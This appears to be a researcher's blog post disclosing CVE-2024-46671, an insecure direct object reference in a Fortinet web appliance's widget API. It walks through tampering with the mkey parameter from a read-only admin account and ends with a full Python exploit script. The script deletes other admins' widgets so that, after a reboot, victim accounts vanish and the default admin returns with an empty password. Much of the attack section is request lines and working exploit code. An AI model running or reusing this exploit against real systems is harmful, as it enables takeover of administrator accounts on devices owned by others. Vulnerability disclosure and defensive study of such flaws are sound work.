Fortinet privilege escalation from IDOR — CVE-2024–46671
CVE-2024–46671
Fortinet privilege escalation from IDOR — CVE-2024–46671

CVE-2024–46671
📌 Summary
An Insecure Direct Object Reference (IDOR) vulnerability exists in the widget management endpoints of the admin dashboard.
A low-privileged administrator (read-only) can manipulate the **mkey parameter to access and modify other admin users’ widgets**, leading to:
- Unauthorized modification of admin dashboards
- Deletion of targeted admin accounts after reboot
- Reset of default admin account password (default admin account re-creation)
- Potential full account takeover
🧠 Root Cause
The application fails to enforce proper authorization checks on the following endpoints:
/api/v2.0/cmdb/system/admin/gui-dashboard?mkey=<username>
/api/v2.0/cmdb/system/dashboard-widget/widget?mkey=<widget_name>
The **mkey** parameter is directly trusted without verifying that the requester is authorized to access or modify the referenced resource.
🎯 Impact
This vulnerability leads to multiple critical impacts:
1. Privilege Escalation (Horizontal → Vertical)
A read-only admin can manipulate other admins configurations.
2. Account Deletion (Availability Impact)
By tampering with widget configurations and triggering a reboot:
- Targeted admin accounts are removed from the system.
3. Default Admin Reset → Account Takeover
After exploitation:
- Default admin account password is reset to empty
Attacker can:
- Login without password
- Set a new password
- Gain full administrative control
🧪 Lab Setup
- Target: Fortinet appliance (VM)
- Attacker: Read-only admin account
- Tooling: Proxy: Burp Suite (or any intercepting proxy)
⚙️ Step-by-Step Exploitation
🔹 Step 1 — Prepare Accounts
Create:
attacker_admin(read-only permissions)victim_admin(full permissions)
🔹 Step 2 — Intercept Requests
Login as attacker_admin and intercept traffic.
Focus on:
GET /api/v2.0/cmdb/system/admin/gui-dashboard?mkey=<username>
GET /api/v2.0/cmdb/system/dashboard-widget/widget?mkey=<widget_name>

playing with the mkey parameter
🔹 Step 3 — IDOR Exploitation
🔁 Original Request
GET /api/v2.0/cmdb/system/admin/gui-dashboard?mkey=attacker_admin
💥 Modified Request
GET /api/v2.0/cmdb/system/admin/gui-dashboard?mkey=victim_admin
✅ Response returns victim’s dashboard configuration.
🔹 Step 4 — Unauthorized Actions
Using different HTTP methods:
🗑 Delete Widgets
DELETE /api/v2.0/cmdb/system/dashboard-widget/widget?mkey=<victim_widget>

After deleting the widget of amine from read only admin (ixec) account
✏️ Modify Widgets
PUT /api/v2.0/cmdb/system/dashboard-widget/widget?mkey=<victim_widget>
➕ Add Widgets
POST /api/v2.0/cmdb/system/dashboard-widget/widget
➡️ All actions apply to victim_admin, not attacker.
🔹 Step 5 — Trigger the Bug (Critical Phase)
After manipulating widgets:
- Reboot the system
💣 Step 6 — Post-Reboot Impact
After reboot:
❌ Victim Account Deleted
- Login fails:
Invalid username or password
- Account no longer exists in admin list
⚠️ Default Admin Reset (fresh admin backup)
- Default admin password becomes empty
- System prompts password change on login
🔓 Step 7 — Account Takeover
- Login using default admin (no password)
- Set new password
- Gain full privileges
🧬 Exploit Chain
IDOR → Unauthorized Widget Manipulation → System State Corruption → Reboot →
Admin Deletion + Default Admin Reset → Full Account Takeover
⚡Automated exploitation script
import requests as r
import sys
import warnings
# ignoring warnings of cert
warnings.filterwarnings('ignore')
# init vars
LOGIN_PATH = "/logincheck"
API_USERS_LIST = "/api/v2.0/cmdb/system/admin"
API_WIDGETS_ENDPOINT = "/api/v2.0/system/status.dashboard_widget?mkey={}&sub_mkey={}"
API_SYSTEM_STATE = "/api/v2.0/system/state"
users = []
def banner():
banner = """
______ _______ ____ ___ ____ _ _ _ _ __ __ _____ _
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || | / /_ / /|___ / |
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____| || |_| '_ \| '_ \ / /| |
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____|__ _| (_) | (_) / / | |
\____| \_/ |_____| |_____|\___/_____| |_| |_| \___/ \___/_/ |_|
By MEGHNINE islem
"""
print(banner)
def validate_url(url):
if ("https://") in url:
return url
else:
if "http://" in url:
url = url.split("http://")[1]
return "https://" + url
return "https://" + url
def init_req():
return r.Session()
def test_connection(url):
res = r.get(url, verify=False)
if res.status_code == 200:
return True
else:
return False
def is_vulnerable(req, url):
res = req.get(url + API_SYSTEM_STATE, verify=False)
system = res.json()['resutls']['config']
if system['CONFIG_MAJOR_NUM'] <= 7:
if system['CONFIG_BUILD_NUMBER'] == 638:
print("[+] Vulnerable")
return True
else:
print("[+] May be vulnerable")
return True
else:
print("[-] Not vulnerable")
return False
def get_cookies(req, url, username, password):
data = {"ajax":1, "username":username, "secretkey":password}
res = req.post(url+LOGIN_PATH,data,verify=False)
return res.text
def get_users_list(req,url):
res = req.get(url + API_USERS_LIST,verify=False)
for user in res.json()['results']:
#if user['access-profile'] == "prof_admin": # filter only priv admins
users.append(user['name'])
print("[+] Users found successfully")
return users
def get_csrf_token(req,url):
res = req.get(url + API_SYSTEM_STATE, verify=False)
system = res.json()
if system['status'] == "success":
return system['resutls']['admin']['csrf_token']
# this exploit will trigger 2 vulnerabilities (after reboot)
# - Arbitrary account deletion
# - Creation of a fresh admin account (full premissions) with none password
def delete_widgets(req, url, target_user, token):
headers = {
"Content-Type": "application/json",
"X-Csrftoken": str(token)
}
data = {}
mkey = f"sys_{target_user[2]}_1_root" # crafting mkey with default VDOM and dashboard id
for w_id in range(1,20): # blindly removing all widgets
furl = url + API_WIDGETS_ENDPOINT.format(mkey, w_id)
res = req.delete(furl,json=data,headers=headers,verify=False)
if res.json()['errcode'] == '0':
print(f"[+] widget {w_id} deleted successfully")
else:
print("[-] Error deleting widget, exiting exploit ...")
exit()
if __name__ == "__main__":
banner()
n = len(sys.argv)
if (n < 3):
print("Usage: CVE-2024-46671.py IP USERNAME PASSWORD")
else:
url = validate_url(sys.argv[1])
if (not test_connection(url)):
print("[+] FortiWeb is DOWN")
exit()
else:
print("[+] FortiWeb is UP")
req = init_req()
if "1" in get_cookies(req, url, sys.argv[2], sys.argv[3]):
print(f"[+] Connected as user {sys.argv[2]} successfully")
if not is_vulnerable(req,url):
exit()
users = get_users_list(req,url)
token = get_csrf_token(req,url)
delete_widgets(req,url,users,token)
print("[+] exploit finished successfully, waiting for fortiweb reboot then login with username=admin&password=")
else:
print(f"[-] Error authenticating as {sys.argv[2]}")
exit(0)

Execution of automated script
References & links
메타데이터
- post_id
- ee8d72309ab5
- slug
- fortinet-account-take-over-from-idor-cve-2024-46671-ee8d72309ab5
- url
- https://medium.com/@islem.meghnine/fortinet-account-take-over-from-idor-cve-2024-46671-ee8d72309ab5
- canonical_url
- https://medium.com/@islem.meghnine/fortinet-account-take-over-from-idor-cve-2024-46671-ee8d72309ab5
- author_url
- https://medium.com/@islem.meghnine
- status
- ok
- fetched_at
- 2026-07-11 22:52:18